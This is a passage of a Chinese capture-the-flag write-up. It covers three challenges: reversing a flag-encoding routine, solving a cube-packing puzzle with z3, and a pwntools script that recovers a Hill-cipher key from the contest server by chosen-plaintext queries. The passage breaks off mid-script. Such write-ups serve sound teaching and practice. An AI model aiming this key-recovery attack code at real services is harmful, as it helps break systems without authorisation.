<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">m</span><span class="o">=</span><span class="mh">0xDEADBEEF</span> <span class="o">^</span> <span class="p">(</span><span class="mi">4</span><span class="o">*</span><span class="p">(</span><span class="mi">3</span><span class="o">-</span><span class="n">i</span><span class="p">))</span>
<span class="n">f</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">4</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0xFFFFFFFF</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">4</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="n">x</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">8</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">))</span><span class="o">^</span><span class="mh">0x7A026655FD263677</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">8</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">x</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="n">m</span><span class="o">=</span><span class="mh">0x55AA00FF</span> <span class="o">^</span> <span class="p">(</span><span class="mi">16</span><span class="o">*</span><span class="p">(</span><span class="mi">3</span><span class="o">-</span><span class="n">i</span><span class="p">))</span>
<span class="n">f</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">16</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="o">**</span><span class="mi">128</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">16</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</code></pre></div></div>
<p>如此便可以得到 flag 的内容。</p>
<p>注意由于这里的汇编十分地不符合通常的调用约定,所以就连 Ghidra 的反编译器也救不了,不过还好汇编写得还有点可读,借助动态调试还是能搞明白它在做什么的。</p>
<p>不过要是能想到像官方题解一样用 angr 就能少花很多时间了。</p>
<h2 id="小-z-的谜题">小 Z 的谜题</h2>
<p>仔细阅读代码发现,这个问题等效于给出 16 个尺寸一定的长方体,将他们装到一个边长为 5 的立方体里。注意到立方体的体积刚好可以装满,而除了三个 1x1x3 的长方体以外,剩下的长方体的三个边长中都有两个是偶数,这意味着我们可以利用各种奇偶性分析这三个 1x1x3 的长方体的位置。</p>
<p>首先把边长为 5 的立方体分为 5 层,每层分别棋盘染色,可以知道一定要有 1x1x3 的长方体可以影响这一层的奇偶性才能保证填满。而三个方向一共 15 层,而每个 1x1x3 的立方体最多影响三个方向 5 层的奇偶性,所以三个 1x1x3 的长方体的在三个坐标轴上的投影均两两不重合。再加上三个长方体在每个层的位置的奇偶性要求,很快便能推出除了对称的情况以外只有唯一的一种方式放置这三个立方体。再之后只需要打开 Minecraft 手动拼一下就能做出一组解。</p>
<p>我手动拼出来的解的分数为 154。</p>
<p>可惜我没有像官方题解一样搜到 Conway Puzzle。</p>
<p>然而,如果要做剩下两个小题就得用搜索算法了。调查了各种方案,比如现成的 <a href="https://burrtools.sourceforge.net/" target="_blank" rel="noopener">Burr-Tools</a>,在我的机器上可以在 5 分钟之内给出所有的拼法,然而他并没有导出解的功能,想手动改源码编译又十分痛苦,于是放弃。当然最终 Flag 里提到的 <a href="https://en.wikipedia.org/wiki/Knuth%27s_Algorithm_X" target="_blank" rel="noopener">X算法</a>,也有看到,事实上前面的 Burr-Tools 就用了这个算法(加上若干针对特定问题的优化)。最终采取的方案还是直球 z3,毕竟标题写了小 z 嘛,不过。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">import</span> <span class="nn">z3</span>
<span class="n">bound</span> <span class="o">=</span> <span class="mi">5</span>
<span class="k">def</span> <span class="nf">gen_intervals</span><span class="p">(</span><span class="n">constraint</span><span class="p">):</span>
<span class="n">u</span><span class="p">,</span><span class="n">v</span><span class="p">,</span><span class="n">w</span><span class="o">=</span><span class="n">constraint</span>
<span class="n">p</span><span class="o">=</span><span class="nb">set</span><span class="p">([(</span><span class="n">u</span><span class="p">,</span><span class="n">v</span><span class="p">,</span><span class="n">w</span><span class="p">),(</span><span class="n">u</span><span class="p">,</span><span class="n">w</span><span class="p">,</span><span class="n">v</span><span class="p">),(</span><span class="n">v</span><span class="p">,</span><span class="n">u</span><span class="p">,</span><span class="n">w</span><span class="p">),(</span><span class="n">v</span><span class="p">,</span><span class="n">w</span><span class="p">,</span><span class="n">u</span><span class="p">),(</span><span class="n">w</span><span class="p">,</span><span class="n">u</span><span class="p">,</span><span class="n">v</span><span class="p">),(</span><span class="n">w</span><span class="p">,</span><span class="n">v</span><span class="p">,</span><span class="n">u</span><span class="p">)])</span>
<span class="n">l</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="n">z</span> <span class="ow">in</span> <span class="n">p</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">-</span><span class="n">x</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">-</span><span class="n">y</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">-</span><span class="n">z</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="n">l</span><span class="p">.</span><span class="n">append</span><span class="p">([[</span><span class="n">i</span><span class="p">,</span><span class="n">i</span><span class="o">+</span><span class="n">x</span><span class="p">],[</span><span class="n">j</span><span class="p">,</span><span class="n">j</span><span class="o">+</span><span class="n">y</span><span class="p">],[</span><span class="n">k</span><span class="p">,</span><span class="n">k</span><span class="o">+</span><span class="n">z</span><span class="p">]])</span>
<span class="k">return</span> <span class="n">l</span>
<span class="n">constraints</span> <span class="o">=</span> <span class="p">((</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">),(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">),(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">),(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">),(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">),(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
<span class="n">count</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">]</span>
<span class="n">num_dims</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">constraints</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">options</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">constraints</span><span class="p">)):</span>
<span class="n">intervals</span><span class="o">=</span><span class="n">gen_intervals</span><span class="p">(</span><span class="n">constraints</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="k">if</span> <span class="n">i</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">options</span><span class="p">.</span><span class="n">append</span><span class="p">([[[</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">],[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">],[</span><span class="mi">2</span><span class="p">,</span><span class="mi">5</span><span class="p">]]])</span>
<span class="n">options</span><span class="p">.</span><span class="n">append</span><span class="p">([[[</span><span class="mi">1</span><span class="p">,</span><span class="mi">4</span><span class="p">],[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">]]])</span>
<span class="n">options</span><span class="p">.</span><span class="n">append</span><span class="p">([[[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">],[</span><span class="mi">2</span><span class="p">,</span><span class="mi">5</span><span class="p">],[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">]]])</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">count</span><span class="p">[</span><span class="n">i</span><span class="p">]):</span>
<span class="n">options</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">intervals</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">z3</span><span class="p">.</span><span class="n">Solver</span><span class="p">()</span>
<span class="n">variables</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">)):</span>
<span class="n">var</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">])):</span>
<span class="n">v</span><span class="o">=</span><span class="n">z3</span><span class="p">.</span><span class="n">Bool</span><span class="p">(</span><span class="sa">f</span><span class="s">'x_</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">_</span><span class="si">{</span><span class="n">p</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">pv</span> <span class="ow">in</span> <span class="n">var</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">Not</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">And</span><span class="p">(</span><span class="n">pv</span><span class="p">,</span><span class="n">v</span><span class="p">)))</span>
<span class="n">var</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">v</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">Or</span><span class="p">(</span><span class="o">*</span><span class="n">var</span><span class="p">))</span>
<span class="n">variables</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">var</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[====]1"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">])):</span>
<span class="k">for</span> <span class="n">q</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">[</span><span class="n">j</span><span class="p">])):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">any</span><span class="p">((</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">][</span><span class="n">k</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="o"><=</span> <span class="n">options</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="n">q</span><span class="p">][</span><span class="n">k</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="ow">or</span> <span class="n">options</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="n">q</span><span class="p">][</span><span class="n">k</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="o"><=</span> <span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">][</span><span class="n">k</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_dims</span><span class="p">)):</span>
<span class="n">s</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">Not</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">And</span><span class="p">(</span><span class="n">variables</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">],</span><span class="n">variables</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="n">q</span><span class="p">])))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[====]2"</span><span class="p">)</span>
<span class="n">score</span> <span class="o">=</span> <span class="p">[[[[]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">+</span><span class="mi">2</span><span class="p">)]</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">+</span><span class="mi">2</span><span class="p">)]</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">+</span><span class="mi">2</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">])):</span>
<span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span> <span class="ow">in</span> <span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">([</span><span class="o">*</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">][</span><span class="mi">0</span><span class="p">],</span><span class="n">bound</span><span class="o">+</span><span class="mi">1</span><span class="p">],[</span><span class="o">*</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span><span class="n">bound</span><span class="o">+</span><span class="mi">1</span><span class="p">],[</span><span class="o">*</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">][</span><span class="mi">2</span><span class="p">],</span><span class="n">bound</span><span class="o">+</span><span class="mi">1</span><span class="p">]):</span>
<span class="n">score</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">][</span><span class="n">z</span><span class="p">].</span><span class="n">append</span><span class="p">(</span><span class="n">variables</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[====]3"</span><span class="p">)</span>
<span class="n">scores</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">+</span><span class="mi">2</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">+</span><span class="mi">2</span><span class="p">):</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bound</span><span class="o">+</span><span class="mi">2</span><span class="p">):</span>
<span class="n">scores</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">Or</span><span class="p">(</span><span class="o">*</span><span class="n">score</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">][</span><span class="n">k</span><span class="p">]))</span>
<span class="n">result</span><span class="o">=</span><span class="n">z3</span><span class="p">.</span><span class="n">Sum</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">z3</span><span class="p">.</span><span class="n">If</span><span class="p">(</span><span class="n">sv</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">sv</span> <span class="ow">in</span> <span class="n">scores</span><span class="p">))</span>
<span class="c1"># s.add(result<=136)
</span><span class="n">s</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">result</span><span class="o">>=</span><span class="mi">157</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[====]4"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">check</span><span class="p">())</span>
<span class="n">m</span><span class="o">=</span><span class="n">s</span><span class="p">.</span><span class="n">model</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">])):</span>
<span class="k">if</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">evaluate</span><span class="p">(</span><span class="n">variables</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">])):</span>
<span class="k">print</span><span class="p">(</span><span class="n">options</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">p</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">evaluate</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
</code></pre></div></div>
<p>注意我把纯粹推导出来的部分当作先验条件写进去了,以及获得输出之后还需要额外进行格式化。</p>
<p>不过官方题解提到说 sagemath 里面有 DLX 算法,这是我没有预料到的。</p>
<h2 id="不可加密的异世界-2---希尔混淆">不可加密的异世界 2 - 希尔混淆</h2>
<p>由于 xor 明文时用到的字符串全都是 ASCII 可打印字符,所以如果我们的输入是 <code class="language-plaintext highlighter-rouge">0x80</code> 的话,那么就能这个字节混淆之后是 xor 明文时用到的字符串对应字节直接加上这个数。由此我们便可以通过提交一个最高位均不为 1 的输入,再把其中一位最高改为 1,二者之差便是密钥矩阵对应行的 <code class="language-plaintext highlighter-rouge">0x80</code> 倍。为了防止输出含有 0 干扰我们获取结果,我们多次随机生成输入,这样就可以依靠概率获得不含 0 的输出。获得了密钥矩阵内容之后我们便可以直接解密输出后与输入异或获取 flag 了。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">import</span> <span class="nn">sage.all</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randrange</span>
<span class="n">token</span><span class="o">=</span><span class="sa">b</span><span class="s">"1221:MEQCIFUZ/2y/e8O8wIa3AJDVZ+6NYM9lyDA0uyvjRJQKLThfAiBs1P6CBODLEBfLMH/bS3bSHHhkmal32mhQjopy5AG4tA=="</span>
<span class="n">base_mod</span> <span class="o">=</span> <span class="mi">2</span><span class="o">**</span><span class="mi">8</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">base_ring</span> <span class="o">=</span> <span class="n">sage</span><span class="p">.</span><span class="nb">all</span><span class="p">.</span><span class="n">GF</span><span class="p">(</span><span class="n">base_mod</span><span class="p">)</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">22000</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">":"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">random_input</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mi">128</span><span class="p">):</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">result</span><span class="o">=</span><span class="nb">bytearray</span><span class="p">()</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">size</span><span class="p">):</span>
<span class="n">result</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">randrange</span><span class="p">(</span><span class="mh">0x80</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">result</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span><span class="o">!=</span><span class="mi">0</span><span class="p">:</span>
<span class="k">return</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_ciphertext</span><span class="p">(</span><span class="n">input_bytes</span><span class="p">):</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">input_bytes</span><span class="p">.</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">())</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"you ciphertext : "</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
<span class="n">matrix</span><span class="o">=</span><span class="p">[[</span><span class="bp">None</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">)]</span><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">)]</span>
<span class="n">ready_set</span><span class="o">=</span><span class="nb">set</span><span class="p">()</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"try"</span><span class="p">)</span>
<span class="n">base_input</span><span class="o">=</span><span class="n">random_input</span><span class="p">()</span>
<span class="n">base_result</span><span class="o">=</span><span class="n">get_ciphertext</span><span class="p">(</span><span class="n">base_input</span><span class="p">)</span>
<span class="k">for</span> <span class="n">index</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
<span class="n">modified_input</span><span class="o">=</span><span class="nb">bytearray</span><span class="p">(</span><span class="n">base_input</span><span class="p">)</span>
<span class="n">modified_input</span><span class="p">[</span><span class="n">index</span><span class="p">]</span><span class="o">+=</span><span class="mh">0x80</span>
<span class="c1"># print(base_input.hex())
</span> <span class="c1"># print(modified_input.hex())
</span> <span class="n">modified_result</span><span class="o">=</span><span class="n">get_ciphertext</span><span class="p">(</span><span class="n">modified_input</span><span class="p">)</span>
<span class="c1"># print(base_result.hex())
</span> <span class="c1"># print(modified_result.hex())
</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="k">if</span> <span class="n">base_result</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span> <span class="ow">and</span> <span class="n">modified_result</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">:</span>
<span class="n">diff</span><span class="o">=</span><span class="p">(</span><span class="n">modified_result</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-</span><span class="n">base_result</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">%</span><span class="n">base_mod</span>
<span class="n">value</span><span class="o">=</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">diff</span><span class="p">)</span><span class="o">%</span><span class="n">base_mod</span>
<span class="k">if</span> <span class="p">(</span><span class="n">index</span><span class="p">,</span><span class="n">i</span><span class="p">)</span> <span class="ow">in</span> <span class="n">ready_set</span><span class="p">:</span>
<span class="k">assert</span> <span class="n">matrix</span><span class="p">[</span><span class="n">index</span><span class="p">][</span><span class="n">i</span><span class="p">]</span><span class="o">==</span><span class="n">value</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">matrix</span><span class="p">[</span><span class="n">index</span><span class="p">][</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">value</span>
<span class="n">ready_set</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">index</span><span class="p">,</span><span class="n">i</span><span class="p">))</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">ready_set</span><span class="p">)</span><span class="o">>=</span><span class="mi">128</span><span class="o">**</span><span class="mi">2</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">key_matrix</span><span class="o">=</span><span class="n">sage</span><span class="p">.</span><span class="nb">all</span><span class="p">.</span><span class="n">matrix</span><span class="p">(</span><span class="n">base_ring</span><span class="p">,</span><span class="n">matrix</span><span class="p">).</span><span class="n">transpose</span><span class="p">()</span>
<span class="n">decrypt_key</span><span class="o">=</span><span class="n">key_matrix</span><span class="p">.</span><span class="n">inverse</span><span class="p">()</span>
<span class="n">flag</span><span class="o">=</span><span class="bp">None</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
